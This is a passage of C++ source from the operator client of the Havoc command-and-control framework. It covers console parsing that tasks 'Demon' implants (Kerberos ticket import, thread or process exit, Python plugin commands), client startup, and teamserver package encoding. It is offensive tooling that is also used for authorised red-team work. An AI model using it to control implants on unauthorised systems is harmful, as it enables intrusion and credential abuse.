CONSOLE_ERROR( \"Too many arguments\" )\n                return false;\n            }\n\n            Ticket = InputCommands[ 1 ];\n\n            if ( InputCommands.size() == 3 )\n            {\n                CONSOLE_ERROR( \"Invalid arguments\" )\n                return false;\n            }\n\n            if ( InputCommands.size() == 4 )\n            {\n                if ( InputCommands[ 2 ].compare( \"/luid\" ) != 0 )\n                {\n                    CONSOLE_ERROR( \"Invalid arguments\" )\n                    return false;\n                }\n                Luid = InputCommands[ 3 ];\n            }\n\n            TaskID                     = CONSOLE_INFO( \"Tasked demon to import a Kerberos ticket\" );\n            CommandInputList[ TaskID ] = commandline;\n\n            SEND( Execute.Ptt( TaskID, Ticket, Luid ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"exit\" ) == 0 )\n        {\n            if ( InputCommands.length() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n            if ( InputCommands.length() > 2 )\n            {\n                CONSOLE_ERROR( \"Too many arguments\" )\n                return false;\n            }\n            if ( InputCommands[ 1 ].compare( \"thread\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to cleanup and exit the thread\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Exit( TaskID, \"thread\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"process\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to cleanup and exit the process\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Exit( TaskID, \"process\" ) )\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Option not found: \" + InputCommands[ 1 ] )\n                return false;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"clear\" ) == 0 )\n        {\n            auto AgentMessageInfo = QString();\n            auto PivotStream      = QString();\n            auto prev_cursor      = QTextCursor();\n\n            DemonConsole->Console->clear();\n\n            if ( DemonConsole->SessionInfo.PivotParent.size() > 0 )\n            {\n                PivotStream = \"[Pivot: \" + DemonConsole->SessionInfo.PivotParent + Util::ColorText::Cyan( \"-<>-<>-\" ) + DemonConsole->SessionInfo.Name + \"]\";\n            }\n            else\n            {\n                PivotStream = \"[Pivot: \"+ Util::ColorText::Cyan( \"Direct\" ) +\"]\";\n            }\n\n            AgentMessageInfo =\n                    Util::ColorText::Comment( DemonConsole->SessionInfo.First ) + \" Agent \"+ Util::ColorText::Red( DemonConsole->SessionInfo.Name.toUpper() ) + \" authenticated as \"+ Util::ColorText::Purple( DemonConsole->SessionInfo.Computer + \"\\\\\" + DemonConsole->SessionInfo.User ) +\n                    \" :: [Internal: \"+Util::ColorText::Cyan( DemonConsole->SessionInfo.Internal ) + \"] [Process: \" + Util::ColorText::Red( DemonConsole->SessionInfo.Process +\"\\\\\"+ DemonConsole->SessionInfo.PID ) + \"] [Arch: \" +Util::ColorText::Pink( DemonConsole->SessionInfo.Arch ) + \"] \" + PivotStream;\n\n            prev_cursor = DemonConsole->Console->textCursor();\n\n            DemonConsole->Console->moveCursor ( QTextCursor::End );\n            DemonConsole->Console->insertHtml( AgentMessageInfo );\n            DemonConsole->Console->setTextCursor( prev_cursor );\n\n            return true;\n        }\n        else if ( InputCommands[ 0 ].compare( \"\" ) == 0 )\n        {\n            /* do nothing */\n        }\n        else\n        {\n            if ( ! Send && ! CommandTaskInfo[ TaskID ].isEmpty() )\n            {\n                DemonConsole->AppendRaw();\n                DemonConsole->AppendRaw( Prompt );\n                DemonConsole->AppendRaw( Util::ColorText::Cyan( \"[*]\" ) + \" \" + Util::ColorText::Comment( \"[\" + TaskID + \"]\") + \" \" + Util::ColorText::Cyan( CommandTaskInfo[ TaskID ] ) );\n            }\n\n        CheckRegisteredCommands:\n            spdlog::debug( \"Check if one of the registered commands it is lol.\" );\n\n            auto FoundCommand = false;\n\n            // check for registered commands\n            for ( auto& Command : HavocX::Teamserver.RegisteredCommands )\n            {\n                if ( InputCommands[ 0 ].isEmpty() )\n                    break;\n\n                if ( Command.Agent != \"Demon\" )\n                    continue;\n\n                /* Check if module is matching */\n                if ( InputCommands[ 0 ].compare( Command.Module.c_str() ) == 0 )\n                {\n                    if ( InputCommands.size() <= 1 )\n                    {\n                        if ( Send )\n                        {\n                            CONSOLE_ERROR( \"Specify a sub command for the given module.\" );\n                        }\n\n                        return false;\n                    }\n\n                    /* Check if command is matching */\n                    if ( InputCommands[ 1 ].compare( Command.Command.c_str() ) == 0 )\n                    {\n                        PyObject* FuncArgs = PyTuple_New( InputCommands.size() - 1 );\n                        PyObject* Return   = nullptr;\n                        auto      Path     = std::string();\n\n                        spdlog::debug( \"Found module: {} {}\", Command.Module.c_str(), Command.Command.c_str() );\n\n                        if ( Send )\n                        {\n                            if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) )\n                            {\n                                DemonConsole->TaskError( \"A callable is required for \" + InputCommands[ 0 ] + \" \" + InputCommands[ 1 ] );\n                                return false;\n                            }\n\n                            if ( ! Command.Path.empty() )\n                            {\n                                Path = std::filesystem::current_path();\n                                spdlog::debug( \"Set current path to {}\", Command.Path );\n                                std::filesystem::current_path( Command.Path );\n                            }\n                            spdlog::debug( \"execute script command:{}\", Command.Command );\n\n                            // First arg is the DemonID\n                            PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) );\n\n                            // Set arguments of the functions\n                            for ( u32 i = 2; i < InputCommands.size(); i++ )\n                                PyTuple_SetItem( FuncArgs, i - 1, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) );\n\n                            Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs );\n\n                            if ( ! Path.empty() )\n                            {\n                                spdlog::debug( \"Set path back to {}\", Path );\n                                std::filesystem::current_path( Path );\n                            }\n\n                            if ( Return == nullptr && PyErr_Occurred() )\n                            {\n                                PyErr_PrintEx(0);\n                                PyErr_Clear();\n                                DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \" \" + InputCommands[ 1 ] + \". Python module failed\" );\n                                Py_CLEAR( FuncArgs );\n                                return false;\n                            }\n\n                            if ( Py_IsNone( Return ) || Py_IsTrue( Return ) || Py_IsFalse( Return ) )\n                            {\n                                if ( Send )\n                                {\n                                    PrintModuleCachedMessages();\n\n                                    if ( Py_IsNone( Return ) )\n                                        DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \" \" + InputCommands[ 1 ] + \". Script return is None\" );\n                                }\n                                Py_CLEAR( Return );\n                                Py_CLEAR( FuncArgs );\n                                return false;\n                            }\n\n                            if ( ! Py_IS_TYPE( Return, &PyUnicode_Type ) )\n                            {\n                                if ( Send )\n                                {\n                                    PrintModuleCachedMessages();\n\n                                    DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \" \" + InputCommands[ 1 ] + \". Script return is invalid\" );\n                                }\n                                Py_CLEAR( Return );\n                                Py_CLEAR( FuncArgs );\n                                return false;\n                            }\n\n                            auto ReturnTaskID = PyUnicode_AsUTF8( Return );\n\n                            TaskID = QString( ReturnTaskID );\n\n                            NewPackageCommand( Teamserver, Util::Packager::Body_t {\n                                    .SubEvent = Util::Packager::Session::SendCommand,\n                                    .Info     = {\n                                            { \"TaskID\",      TaskID.toStdString() },\n                                            { \"TaskMessage\", CommandTaskInfo[ TaskID ].toStdString() },\n                                            { \"DemonID\",     DemonConsole->SessionInfo.Name.toStdString() },\n                                            { \"CommandID\",   \"Python Plugin\" },\n                                            { \"CommandLine\", commandline.toStdString() },\n                                    },\n                            } );\n\n                            Py_CLEAR( Return );\n                            Py_CLEAR( FuncArgs );\n                        }\n\n                        return true;\n                    }\n                }\n                /* Alright it's a command i hope ? Check if command is matching */\n                else if ( InputCommands[ 0 ].compare( Command.Command.c_str() ) == 0 && Command.Module.length() == 0 )\n                {\n                    PyObject* FuncArgs = PyTuple_New( InputCommands.size() );\n                    PyObject* Return   = NULL;\n                    auto      Path     = std::string();\n\n                    if ( Send )\n                    {\n                        if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) )\n                        {\n                            PyErr_SetString( PyExc_TypeError, \"a callable is required\" );\n                            return false;\n                        }\n\n                        if ( ! Command.Path.empty() )\n                        {\n                            Path = std::filesystem::current_path();\n                            spdlog::debug( \"Set current path to {}\", Command.Path );\n                            std::filesystem::current_path( Command.Path );\n                        }\n\n                        spdlog::debug( \"execute script command: {}\", Command.Command );\n\n                        // First arg is the DemonID\n                        PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) );\n\n                        // Set arguments of the functions\n                        for ( u32 i = 1; i < InputCommands.size(); i++ )\n                            PyTuple_SetItem( FuncArgs, i, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) );\n\n                        Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs );\n\n                        if ( ! Path.empty() )\n                        {\n                            spdlog::debug( \"Set path back to {}\", Path );\n                            std::filesystem::current_path( Path );\n                        }\n\n                        if ( Return == nullptr && PyErr_Occurred() )\n                        {\n                            PyErr_PrintEx(0);\n                            PyErr_Clear();\n                            DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \". Python module failed\" );\n                            Py_CLEAR( FuncArgs );\n                            return false;\n                        }\n\n                        if ( Py_IsNone( Return ) || Py_IsTrue( Return ) || Py_IsFalse( Return ) )\n                        {\n                            if ( Send )\n                            {\n                                PrintModuleCachedMessages();\n\n                                if ( Py_IsNone( Return ) )\n                                    DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \". Script return is None\" );\n                            }\n                            Py_CLEAR( Return );\n                            Py_CLEAR( FuncArgs );\n                            return false;\n                        }\n\n                        if ( ! Py_IS_TYPE( Return, &PyUnicode_Type ) )\n                        {\n                            if ( Send )\n                            {\n                                PrintModuleCachedMessages();\n\n                                DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \". Script return is invalid\" );\n                            }\n                            Py_CLEAR( Return );\n                            Py_CLEAR( FuncArgs );\n                            return false;\n                        }\n\n                        auto ReturnTaskID = PyUnicode_AsUTF8( Return );\n\n                        TaskID = QString( ReturnTaskID );\n\n                        NewPackageCommand( Teamserver, Util::Packager::Body_t {\n                                .SubEvent = Util::Packager::Session::SendCommand,\n                                .Info     = {\n                                        { \"TaskID\",      TaskID.toStdString() },\n                                        { \"TaskMessage\", CommandTaskInfo[ TaskID ].toStdString() },\n                                        { \"DemonID\",     DemonConsole->SessionInfo.Name.toStdString() },\n                                        { \"CommandID\",   \"Python Plugin\" },\n                                        { \"CommandLine\", commandline.toStdString() },\n                                },\n                        } );\n\n                        Py_CLEAR( Return );\n                        Py_CLEAR( FuncArgs );\n                    }\n\n                    return true;\n                }\n            }\n\n            if ( ! FoundCommand )\n            {\n                CONSOLE_ERROR( \"Command/Module not found: \" + commandline )\n            }\n\n            return false;\n        }\n    }\n    else\n    {\n        if (InputCommands[0].compare(\"help\") == 0)\n        {\n            if (InputCommands.size() > 1 && InputCommands[1] != \"\")\n            {\n                spdlog::info(\"show help for command\");\n            }\n            else\n            {\n                int TotalSize = 18;\n\n                DemonConsole->Console->append(\"\");\n                DemonConsole->Console->append(\"  Command           Type         Description\");\n                DemonConsole->Console->append(\"  ---------         -------      -----------\");\n\n                std::vector<QString> commandOutput;\n\n                for (auto &command : AgentData.Commands)\n                {\n                    if (!command.Anonymous)\n                    {\n                        commandOutput.push_back(\"  \" + command.Name + QString(std::string((TotalSize - command.Name.size()), ' ').c_str()) + \"Command\" + \"      \" + command.Description);\n                    }\n                }\n\n                // Sort the commandOutput vector alphabetically\n                std::sort(commandOutput.begin(), commandOutput.end(), compareQString);\n\n                for (auto &command : HavocX::Teamserver.RegisteredCommands)\n                {\n                    if (command.Agent == AgentTypeName.toStdString())\n                    {\n                        QString currentCommand = \"  \" + QString(command.Command.c_str()) + QString(std::string((TotalSize - command.Command.size()), ' ').c_str()) + \"Command\" + \"      \" + QString(command.Help.c_str());\n\n                        // Find the position to insert the current command in the sorted commandOutput vector\n                        auto insertPosition = std::lower_bound(commandOutput.begin(), commandOutput.end(), currentCommand, compareQString);\n\n                        // Insert the current command to the commandOutput vector in the proper position\n                        commandOutput.insert(insertPosition, currentCommand);\n                    }\n                }\n\n                // Append the sorted commands to the console\n                for (const auto &output : commandOutput)\n                {\n                    DemonConsole->Console->append(output);\n                }\n            }\n        }\n\n        else if ( InputCommands[ 0 ].compare( \"clear\" ) == 0 )\n        {\n            auto AgentMessageInfo = QString();\n            auto PivotStream      = QString();\n            auto prev_cursor      = QTextCursor();\n\n            DemonConsole->Console->clear();\n\n            if ( DemonConsole->SessionInfo.PivotParent.size() > 0 )\n            {\n                PivotStream = \"[Pivot: \" + DemonConsole->SessionInfo.PivotParent + Util::ColorText::Cyan( \"-<>-<>-\" ) + DemonConsole->SessionInfo.Name + \"]\";\n            }\n            else\n            {\n                PivotStream = \"[Pivot: \"+ Util::ColorText::Cyan( \"Direct\" ) +\"]\";\n            }\n\n            AgentMessageInfo =\n                    Util::ColorText::Comment( DemonConsole->SessionInfo.First ) + \" Agent \"+ Util::ColorText::Red( DemonConsole->SessionInfo.Name.toUpper() ) + \" authenticated as \"+ Util::ColorText::Purple( DemonConsole->SessionInfo.Computer + \"\\\\\" + DemonConsole->SessionInfo.User ) +\n                    \" :: [Internal: \"+Util::ColorText::Cyan( DemonConsole->SessionInfo.Internal ) + \"] [Process: \" + Util::ColorText::Red( DemonConsole->SessionInfo.Process +\"\\\\\"+ DemonConsole->SessionInfo.PID ) + \"] [Arch: \" +Util::ColorText::Pink( DemonConsole->SessionInfo.Arch ) + \"] \" + PivotStream;\n\n            prev_cursor = DemonConsole->Console->textCursor();\n\n            DemonConsole->Console->moveCursor ( QTextCursor::End );\n            DemonConsole->Console->insertHtml( AgentMessageInfo );\n            DemonConsole->Console->setTextCursor( prev_cursor );\n\n\n            return true;\n        }\n        else\n        {\n            auto CommandInput = QMap<string, string>();\n            auto ParamArray   = commandline.split( \" \" );\n            auto CommandFound = false;\n\n            ParamArray.erase( ParamArray.begin() );\n\n            if ( ! Send )\n            {\n                if ( ! CommandTaskInfo[ TaskID ].isEmpty() )\n                {\n                    DemonConsole->AppendRaw();\n                    DemonConsole->AppendRaw( Prompt );\n                    DemonConsole->AppendRaw( Util::ColorText::Cyan( \"[*]\" ) + \" \" + CommandTaskInfo[ TaskID ] );\n                }\n            }\n\n            for ( auto & command : AgentData.Commands )\n            {\n                if ( InputCommands[ 0 ].compare( command.Name ) == 0 )\n                {\n                    TaskID       = Util::gen_random( 8 ).c_str();\n                    CommandFound = true;\n\n                    CommandInput.insert( \"TaskID\",      TaskID.toStdString() );\n                    CommandInput.insert( \"CommandLine\", commandline.toStdString() );\n                    CommandInput.insert( \"DemonID\",     DemonConsole->SessionInfo.Name.toStdString() );\n                    CommandInput.insert( \"Command\",     command.Name.toStdString() );\n\n                    ParamArray.push_back(\"\");\n                    for ( u32 i = 0; i < command.Params.size(); i++ )\n                    {\n                        auto Value = QString();\n\n                        if ( command.Params[ i ].IsFilePath )\n                        {\n                            Value = FileRead( ParamArray[ i ] ).toBase64();\n                        }\n                        else\n                        {\n                            if ( ParamArray.size() > 1 && command.Params.size() == 1 )\n                                Value = ParamArray.join( \" \" );\n                            else\n                                Value = ParamArray[ i ];\n                        }\n\n                        CommandInput.insert( command.Params[ i ].Name.toStdString(), Value.toStdString() );\n                    }\n                }\n            }\n\n            if ( CommandFound )\n            {\n                /* send command to agent handler */\n                SEND( Execute.AgentCommand( CommandInput ) );\n            }\n            else\n            {\n                CommandFound = false;\n\n                for ( auto & Command : HavocX::Teamserver.RegisteredCommands )\n                {\n                    if ( InputCommands[ 0 ].isEmpty() )\n                        break;\n\n                    if ( Command.Agent == AgentTypeName.toStdString() )\n                    {\n                        if ( InputCommands[ 0 ].compare( Command.Command.c_str() ) == 0 )\n                        {\n                            PyObject* FuncArgs = PyTuple_New( InputCommands.size() );\n                            PyObject* Return   = nullptr;\n                            auto      Path     = std::string();\n\n                            CommandFound = true;\n\n                            if ( Send )\n                            {\n                                if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) )\n                                {\n                                    PyErr_SetString( PyExc_TypeError, \"a callable is required\" );\n                                    return false;\n                                }\n\n                                if ( ! Command.Path.empty() )\n                                {\n                                    Path = std::filesystem::current_path();\n                                    spdlog::debug( \"Set current path to {}\", Command.Path );\n                                    std::filesystem::current_path( Command.Path );\n                                }\n\n                                // First arg is the DemonID\n                                PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) );\n\n                                // Set arguments of the functions\n                                for ( u32 i = 1; i < InputCommands.size(); i++ )\n                                    PyTuple_SetItem( FuncArgs, i, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) );\n\n                                Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs );\n\n                                if ( ! Path.empty() )\n                                {\n                                    spdlog::debug( \"Set path back to {}\", Path );\n                                    std::filesystem::current_path( Path );\n                                }\n\n                                if ( Return == nullptr && PyErr_Occurred() )\n                                {\n                                    PyErr_PrintEx(0);\n                                    PyErr_Clear();\n                                    DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] + \". Python module failed\" );\n                                    Py_CLEAR( FuncArgs );\n                                    return false;\n                                }\n\n                                if ( Py_IsNone( Return ) )\n                                {\n                                    if ( Send )\n                                    {\n                                        DemonConsole->Console->append( \"\" );\n                                        DemonConsole->Console->append( this->Prompt );\n\n                                        for ( auto& message : DemonConsole->DemonCommands->BufferedMessages )\n                                            DemonConsole->Console->append( message );\n                                    }\n\n                                    DemonConsole->TaskError( \"Failed to execute \" + InputCommands[ 0 ] );\n\n                                    Py_CLEAR( Return );\n                                    Py_CLEAR( FuncArgs );\n\n                                    return false;\n                                }\n\n                                TaskID = QString( PyUnicode_AsUTF8( Return ) );\n\n                                NewPackageCommand( Teamserver, Util::Packager::Body_t {\n                                        .SubEvent = Util::Packager::Session::SendCommand,\n                                        .Info     = {\n                                                { \"TaskID\",      TaskID.toStdString() },\n                                                { \"TaskMessage\", CommandTaskInfo[ TaskID ].toStdString() },\n                                                { \"DemonID\",     DemonConsole->SessionInfo.Name.toStdString() },\n                                                { \"CommandID\",   \"Python Plugin\" },\n                                                { \"CommandLine\", commandline.toStdString() },\n                                        },\n                                } );\n\n                                Py_CLEAR( Return );\n                                Py_CLEAR( FuncArgs );\n                            }\n\n                            return true;\n                        }\n                    }\n                }\n            }\n\n            if ( ! CommandFound )\n            {\n                CONSOLE_ERROR( \"Command/Module not found: \" + commandline )\n            }\n\n        }\n\n    }\n\n    return true;\n}\n\nauto DemonCommands::PrintModuleCachedMessages( ) -> void\n{\n    if ( DemonConsole->DemonCommands->BufferedMessages.size() > 0 )\n    {\n        DemonConsole->Console->append( \"\" );\n        DemonConsole->Console->append( this->Prompt );\n\n        /* display any messages that the script made */\n        for ( auto& message : DemonConsole->DemonCommands->BufferedMessages )\n            DemonConsole->Console->append( message );\n\n        DemonConsole->DemonCommands->BufferedMessages.clear();\n    }\n}\n"
  },
  {
    "path": "client/src/Havoc/Havoc.cc",
    "content": "#include <Havoc/Havoc.hpp>\n#include <Havoc/Connector.hpp>\n#include <Havoc/CmdLine.hpp>\n\n#include <QTimer>\n\nHavocSpace::Havoc::Havoc( QMainWindow* w )\n{\n    w->setVisible( false );\n\n    spdlog::set_pattern( \"[%T] [%^%l%$] %v\" );\n    spdlog::info(\n        \"Havoc Framework [Version: {}] [CodeName: {}]\",\n        HavocNamespace::Version,\n        HavocNamespace::CodeName\n    );\n\n    this->HavocMainWindow = w;\n    this->dbManager = new HavocSpace::DBManager( \"data/client.db\", DBManager::CreateSqlFile );\n}\n\nvoid HavocSpace::Havoc::Init( int argc, char** argv )\n{\n    auto List      = std::vector<Util::ConnectionInfo>();\n    auto Connect   = new HavocNamespace::UserInterface::Dialogs::Connect;\n    auto Arguments = cmdline::parser();\n    auto Path      = std::string();\n\n    Arguments.add( \"debug\",  '\\0', \"debug mode\" );\n    Arguments.add( \"config\", '\\0', \"toml config path\" );\n    Arguments.parse_check( argc, argv );\n\n\n    if ( Arguments.exist( \"debug\" ) ) {\n        spdlog::set_level( spdlog::level::debug );\n        spdlog::debug( \"Debug mode enabled\" );\n    }\n\n    if ( Arguments.exist( \"config\" ) ) {\n        Path = Arguments.get<std::string>( \"config\" );\n\n        if ( ! QFile::exists( Path.c_str() ) ) {\n            Path = std::string();\n        }\n    }\n\n    if ( Path.empty() ) {\n        Path = \"client/config.toml\";\n    }\n\n    if ( ! QFile::exists( Path.c_str() ) ) {\n        Path = \"config.toml\";\n\n        if ( ! QFile::exists( Path.c_str() ) ) {\n            spdlog::error( \"couldn't find config file\" );\n            Exit();\n        }\n    }\n\n    Config = toml::parse( Path );\n    spdlog::info( \"loaded config file: {}\", Path );\n\n    /* TODO: handle any kind of error */\n    const auto& font   = toml::find( Config, \"font\" );\n    const auto  family = toml::find<std::string>( font, \"family\" );\n    const auto  size   = toml::find<int>( font, \"size\" );\n\n    QTextCodec::setCodecForLocale( QTextCodec::codecForName( \"UTF-8\" ) );\n    QApplication::setFont( QFont( family.c_str(), size ) );\n        QTimer::singleShot( 10, [&]() {\n        QApplication::setFont( QFont( family.c_str(), size ) );\n    } );\n\n    this->HavocMainWindow->setVisible( false );\n\n    Connect->TeamserverList = dbManager->listTeamservers();\n    Connect->passDB( this->dbManager );\n    Connect->setupUi( new QDialog );\n\n    HavocX::Teamserver = Connect->StartDialog( false );\n\n    delete Connect;\n}\n\nvoid HavocSpace::Havoc::Start()\n{\n    this->ClientInitConnect = false;\n    this->HavocMainWindow->setVisible( true );\n    this->HavocMainWindow->setCentralWidget( this->HavocAppUI.centralwidget );\n    this->HavocMainWindow->show();\n}\n\nvoid HavocSpace::Havoc::Exit()\n{\n    spdlog::critical( \"Exit Program\" );\n    HavocApplication->HavocMainWindow->close();\n\n    exit( 0 );\n}\n\nHavoc::~Havoc()\n{\n    delete this->dbManager;\n    delete this->HavocMainWindow;\n}\n"
  },
  {
    "path": "client/src/Havoc/Packager.cc",
    "content": "#include <global.hpp>\n\n#include <Havoc/Havoc.hpp>\n#include <Havoc/Packager.hpp>\n#include <Havoc/DemonCmdDispatch.h>\n#include <Havoc/Connector.hpp>\n\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/SmallWidgets/EventViewer.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <UserInterface/Widgets/ScriptManager.h>\n\n#include <Util/ColorText.h>\n#include <Util/Base.hpp>\n\n#include <sstream>\n\n#include <QScrollBar>\n#include <QByteArray>\n#include <QJsonArray>\n#include <QDir>\n\nconst int Util::Packager::InitConnection::Type      = 0x1;\nconst int Util::Packager::InitConnection::Success   = 0x1;\nconst int Util::Packager::InitConnection::Error     = 0x2;\nconst int Util::Packager::InitConnection::Login     = 0x3;\n\nconst int Util::Packager::Listener::Type            = 0x2;\nconst int Util::Packager::Listener::Add             = 0x1;\nconst int Util::Packager::Listener::Edit            = 0x2;\nconst int Util::Packager::Listener::Remove          = 0x3;\nconst int Util::Packager::Listener::Mark            = 0x4;\nconst int Util::Packager::Listener::Error           = 0x5;\n\nconst int Util::Packager::Chat::Type                = 0x4;\nconst int Util::Packager::Chat::NewMessage          = 0x1;\nconst int Util::Packager::Chat::NewListener         = 0x2;\nconst int Util::Packager::Chat::NewSession          = 0x3;\nconst int Util::Packager::Chat::NewUser             = 0x4;\nconst int Util::Packager::Chat::UserDisconnect      = 0x5;\n\nconst int Util::Packager::Gate::Type                = 0x5;\nconst int Util::Packager::Gate::Staged              = 0x1;\nconst int Util::Packager::Gate::Stageless           = 0x2;\n\nconst int Util::Packager::Session::Type             = 0x7;\nconst int Util::Packager::Session::NewSession       = 0x1;\nconst int Util::Packager::Session::Remove           = 0x2;\nconst int Util::Packager::Session::SendCommand      = 0x3;\nconst int Util::Packager::Session::ReceiveCommand   = 0x4;\nconst int Util::Packager::Session::MarkAs           = 0x5;\n\nconst int Util::Packager::Service::Type             = 0x9;\nconst int Util::Packager::Service::AgentRegister    = 0x1;\nconst int Util::Packager::Service::ListenerRegister = 0x2;\n\nconst int Util::Packager::Teamserver::Type          = 0x10;\nconst int Util::Packager::Teamserver::Logger        = 0x1;\nconst int Util::Packager::Teamserver::Profile       = 0x2;\n\nusing HavocNamespace::UserInterface::Widgets::ScriptManager;\n\nUtil::Packager::PPackage Packager::DecodePackage( const QString& Package )\n{\n    auto FullPackage    = new Util::Packager::Package;\n    auto PackageObject  = QJsonObject();\n    auto JsonData       = QJsonDocument::fromJson( Package.toUtf8() );\n\n    if ( JsonData.isEmpty() )\n    {\n        spdlog::critical( \"Invalid json\" );\n        return nullptr;\n    }\n\n    if ( JsonData.isObject() )\n    {\n        PackageObject = JsonData.object();\n\n        auto HeadObject = PackageObject[ \"Head\" ].toObject();\n        auto BodyObject = PackageObject[ \"Body\" ].toObject();\n\n        FullPackage->Head.Event = HeadObject[ \"Event\" ].toInt();\n        FullPackage->Head.Time = HeadObject[ \"Time\" ].toString().toStdString();\n        FullPackage->Head.User = HeadObject[ \"User\" ].toString().toStdString();\n\n        FullPackage->Body.SubEvent = BodyObject[ \"SubEvent\" ].toInt();\n\n        if ( BodyObject[ \"Info\" ].isObject() )\n        {\n            foreach( const QString& key, BodyObject[ \"Info\" ].toObject().keys() )\n            {\n                FullPackage->Body.Info[ key.toStdString() ] = BodyObject[ \"Info\" ].toObject().value( key ).toString().toStdString();\n            }\n        }\n\n    }\n    else\n    {\n        auto object = QJsonDocument( JsonData ).toJson().toStdString();\n        spdlog::critical( \"Is not an Object: {}\", object );\n    }\n\n    return FullPackage;\n}\n\nQJsonDocument Packager::EncodePackage( Util::Packager::Package Package )\n{\n    auto JsonPackage = QJsonObject();\n    auto Head        = QJsonObject();\n    auto Body        = QJsonObject();\n    auto Map         = QVariantMap();\n    auto Iterator    = QMapIterator<string, string>( Package.Body.Info );\n\n    while ( Iterator.hasNext() )\n    {\n        Iterator.next();\n        Map.insert( Iterator.key().c_str(), Iterator.value().c_str() );\n    }\n\n    Head.insert( \"Event\", QJsonValue::fromVariant( Package.Head.Event ) );\n    Head.insert( \"User\", QJsonValue::fromVariant( Package.Head.User.c_str() ) );\n    Head.insert( \"Time\", QJsonValue::fromVariant( Package.Head.Time.c_str() ) );\n    Head.insert( \"OneTime\", QJsonValue::fromVariant( Package.Head.OneTime.c_str() ) );\n\n    Body.insert( \"SubEvent\", QJsonValue::fromVariant( Package.Body.SubEvent ) );\n    Body.insert( \"Info\", QJsonValue::fromVariant( Map ) );\n\n    JsonPackage.insert( \"Body\", Body );\n    JsonPackage.insert( \"Head\", Head );\n\n    return QJsonDocument( JsonPackage );\n}\n\n\nauto Packager::DispatchPackage( Util::Packager::PPackage Package ) -> bool\n{\n    switch ( Package->Head.Event )\n    {\n        case Util::Packager::InitConnection::Type:\n            return DispatchInitConnection( Package );\n\n        case Util::Packager::Listener::Type:\n            return DispatchListener( Package );\n\n        case Util::Packager::Chat::Type:\n            return DispatchChat( Package );\n\n        case Util::Packager::Gate::Type:\n            return DispatchGate( Package );\n\n        case Util::Packager::Session::Type:\n            return DispatchSession( Package );\n\n        case Util::Packager::Service::Type:\n            return DispatchService( Package );\n\n        case Util::Packager::Teamserver::Type:\n            return DispatchTeamserver( Package );\n\n        default:\n            spdlog::info( \"[PACKAGE] Event Id not found\" );\n            return false;\n    }\n}\n\nbool Packager::DispatchInitConnection( Util::Packager::PPackage Package )\n{\n    HavocX::HavocUserInterface = &HavocApplication->HavocAppUI;\n    switch ( Package->Body.SubEvent )\n    {\n        case Util::Packager::InitConnection::Success:\n        {\n            if ( HavocApplication->ClientInitConnect ) {\n                if ( ! HavocApplication->HavocAppUI.isVisible() ) {\n                    HavocApplication->HavocAppUI.setupUi( HavocApplication->HavocMainWindow );\n                    HavocApplication->HavocAppUI.setDBManager( HavocApplication->dbManager );\n                }\n\n                const auto  scripts = toml::find( HavocApplication->Config, \"scripts\" );\n                const auto& files   = toml::find<std::vector<std::string>>( scripts, \"files\" );\n\n                for ( const auto& file : files ) {\n                    ScriptManager::AddScript( file.c_str() );\n                }\n\n                HavocApplication->Start();\n            } else {\n                HavocApplication->HavocAppUI.NewTeamserverTab( this->TeamserverName );\n            }\n\n            return true;\n        }\n\n        case Util::Packager::InitConnection::Error:\n        {\n            if ( Package->Body.Info[ \"Message\" ] == \"\" ) {\n                MessageBox( \"Teamserver Error\", QString( \"Couldn't connect to Teamserver:\" + QString( Package->Body.Info[ \"Message\" ].c_str() ) ), QMessageBox::Critical );\n            } else {\n                MessageBox( \"Teamserver Error\", \"Couldn't connect to Teamserver\", QMessageBox::Critical );\n            }\n\n            return true;\n        }\n\n        case 0x5:\n        {\n            auto TeamserverIPs = QString( Package->Body.Info[ \"TeamserverIPs\" ].c_str() );\n            for ( auto& Ip : TeamserverIPs.split( \", \" ) ) {\n                HavocX::Teamserver.IpAddresses << Ip;\n            }\n\n            HavocX::Teamserver.DemonConfig = QJsonDocument::fromJson( Package->Body.Info[ \"Demon\" ].c_str() );\n        }\n\n        default:\n            return false;\n    }\n}\n\nbool Packager::DispatchListener( Util::Packager::PPackage Package )\n{\n    switch ( Package->Body.SubEvent )\n    {\n        case Util::Packager::Listener::Add:\n        {\n            auto TeamserverTab = HavocX::Teamserver.TabSession;\n\n            // check if this comes from the Teamserver or operator. if from operator then ignore it\n            if ( ! Package->Head.User.empty() )\n                return false;\n\n            auto ListenerInfo = Util::ListenerItem {\n                .Name     = Package->Body.Info[ \"Name\" ],\n                .Protocol = Package->Body.Info[ \"Protocol\" ],\n                .Status   = Package->Body.Info[ \"Status\" ],\n            };\n\n            if ( 